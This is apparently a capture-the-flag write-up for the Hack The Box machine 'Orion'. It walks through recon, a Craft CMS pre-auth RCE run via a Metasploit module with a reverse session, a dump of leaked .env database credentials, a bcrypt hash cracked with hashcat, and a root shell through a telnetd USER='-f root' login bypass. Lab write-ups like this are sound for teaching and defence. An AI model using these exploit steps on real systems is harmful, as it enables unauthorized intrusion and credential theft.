HTB Write-Up: Orion

Platform	Hack The Box
Difficulty	Easy
OS	Linux
Author	shreekara
Date	July 16, 2026
Source	github.com/ShreekaraKedlaya/Hackthebox-writeups

Table of Contents

1. Reconnaissance
2. Web Enumeration
3. Craft CMS RCE via CVE-2025-32432
4. Leaked DB Creds to Cracking Adams Hash
5. Root via Telnetd CVE-2026-24061
6. Summary

1. Reconnaissance

$sudo nmap-sC -sV -T4 10.129.244.146

PORT   STATE SERVICE VERSION
22/tcp open  ssh    OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/

Redirects to a hostname, added it:

$echo"10.129.244.146 orion.htb" | sudo tee -a /etc/hosts

2. Web Enumeration

http://orion.htb/ — Orion Telecom, a telecom company that apparently works with governments and big enterprises.

Ran gobuster to see what's not linked in the nav:

$gobuster dir-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://orion.htb -t 100

/index    (Status: 200) [Size: 12272]
/assets   (Status: 301) [Size: 178]
/admin    (Status: 302) [Size: 0]  --> /admin/login
/logout   (Status: 302) [Size: 0]

/admin drops you on a login page. Footer says Craft CMS 5.6.16, right there for anyone to see.

3. Craft CMS RCE via CVE-2025-32432

Craft CMS 5.6.16 is vulnerable to CVE-2025-32432. Rough idea of the bug — the actions/assets/generate-transform endpoint deserializes an object without properly validating it first, and the CSRF check on it can be bypassed by planting a payload in a session file during the login redirect. So an unauthenticated request ends up getting code execution on the box. There's a Metasploit module for it, easier than writing the request by hand:

$msfconsole-q

use linux/http/craftcms_preauth_rce_cve_2025_32432
set rhost orion.htb
set lhost tun0
exploit

[+] The target is vulnerable. Session path leaked
[*] Meterpreter session 1 opened

meterpreter>shell

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgraded to a real tty:

$script/dev/null -c /bin/bash

4. Leaked DB Creds to Cracking Adams Hash

Checked .env first, like always:

$cat.env

CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Logged into MySQL with it:

$mysql-u root -p orion

select * from users;

One row, admin account, adam@orion.htb, bcrypt hash.

Bcrypt cracks with hashcat mode 3200:

$hashcat'$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' /usr/share/wordlists/rockyou.txt -m 3200 --show

...:darkangel

Cracked pretty much instantly. SSH'd in, grabbed the user flag.

$sshadam@orion.htb

cat user.txt

5. Root via Telnetd CVE-2026-24061

Checked what's listening locally that wasn't reachable from outside:

$netstat-tulnp

tcp  0.0.0.0:80    LISTEN
tcp  127.0.0.1:3306 LISTEN
tcp  127.0.0.1:23   LISTEN

Port 23, telnet, localhost only. Checked the version:

$telnet--version

telnet (GNU inetutils) 2.7

2.7 is affected by CVE-2026-24061 — telnetd forwards the client's USER variable straight into /usr/bin/login without sanitizing it. Stuff -f root in there and login treats it as a flag telling it the session's already authenticated, skips the password entirely.

$USER="-f root" telnet-a 127.0.0.1

root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)
root@orion:~# cat root.txt

6. Summary

Step	What happened
Recon	nmap → 22, 80
Web recon	gobuster → /admin → Craft CMS 5.6.16
Initial access	CVE-2025-32432 pre-auth RCE (msf) → shell as www-data
Credential leak	.env DB password → mysql users table → adam's bcrypt hash
Hash crack	hashcat mode 3200 + rockyou → cracked instantly, SSH as adam + user flag
Privesc	telnetd 2.7, CVE-2026-24061, USER="-f root" → root shell + root flag

Notes to Self

.env with plaintext DB creds again. Same story as Nexus, secrets shouldn't be sitting in a file the web user can read.

Root DB password reused nowhere else this time, but the hash still cracked instantly off rockyou — weak user passwords are still the easy way in even when creds aren't literally reused.

"Bound to localhost" isn't a security boundary once you have any shell. If the service itself has an auth bypass, being local-only just means you need a foothold first, which we already had.

< cd ~/writeups